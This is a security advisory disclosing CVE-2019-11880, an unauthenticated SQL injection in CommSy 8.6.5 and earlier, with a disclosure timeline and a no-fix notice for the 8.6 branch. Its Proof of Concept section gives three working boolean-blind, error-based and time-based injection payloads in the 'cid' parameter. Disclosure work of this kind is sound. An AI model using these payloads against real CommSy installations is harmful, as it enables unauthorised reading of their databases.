CommSy 8.6.5 - SQL injection

Title:
======
CommSy 8.6.5 - SQL injection

Researcher:
===========
Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG

CVE-ID:
=======
CVE-2019-11880

Timeline:
=========
2019-04-15 Vulnerability discovered
2019-04-15 Asked for security contact and PGP key
2019-04-16 Send details to the vendor
2019-05-07 Flaw was approved but will not be fixed in branch 8.6
2019-05-15 Public disclosure

Affected Products:
==================
CommSy <= 8.6.5

Vendor Homepage:
================
https://www.commsy.net

Details:
========
CommSy is a web-based community system, originally developed at the
University of Hamburg, Germany, to support learning/working communities.
We have discovered a unauthenticated SQL injection vulnerability in
CommSy <= 8.6.5 that makes it possible to read all database content. The
vulnerability exists in the HTTP GET parameter "cid".

Proof of Concept:
=================
boolean-based blind:
commsy.php?cid=101" AND 3823=(SELECT (CASE WHEN (3823=3823) THEN 3823
ELSE (SELECT 7548 UNION SELECT 4498) END))-- dGRD&mod=context&fct=login

error-based:
commsy.php?cid=101" AND (SELECT 6105 FROM(SELECT
COUNT(*),CONCAT(0x716a767871,(SELECT
(ELT(6105=6105,1))),0x716b6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- jzQs&mod=context&fct=login

time-based blind:
commsy.php?cid=101" AND SLEEP(5)-- MjJM&mod=context&fct=login

Fix:
====
According to the manufacturer, the version branch 8.6 is no longer
supported and the vulnerability will not be fixed. Customers should
update to the newest version 9.2.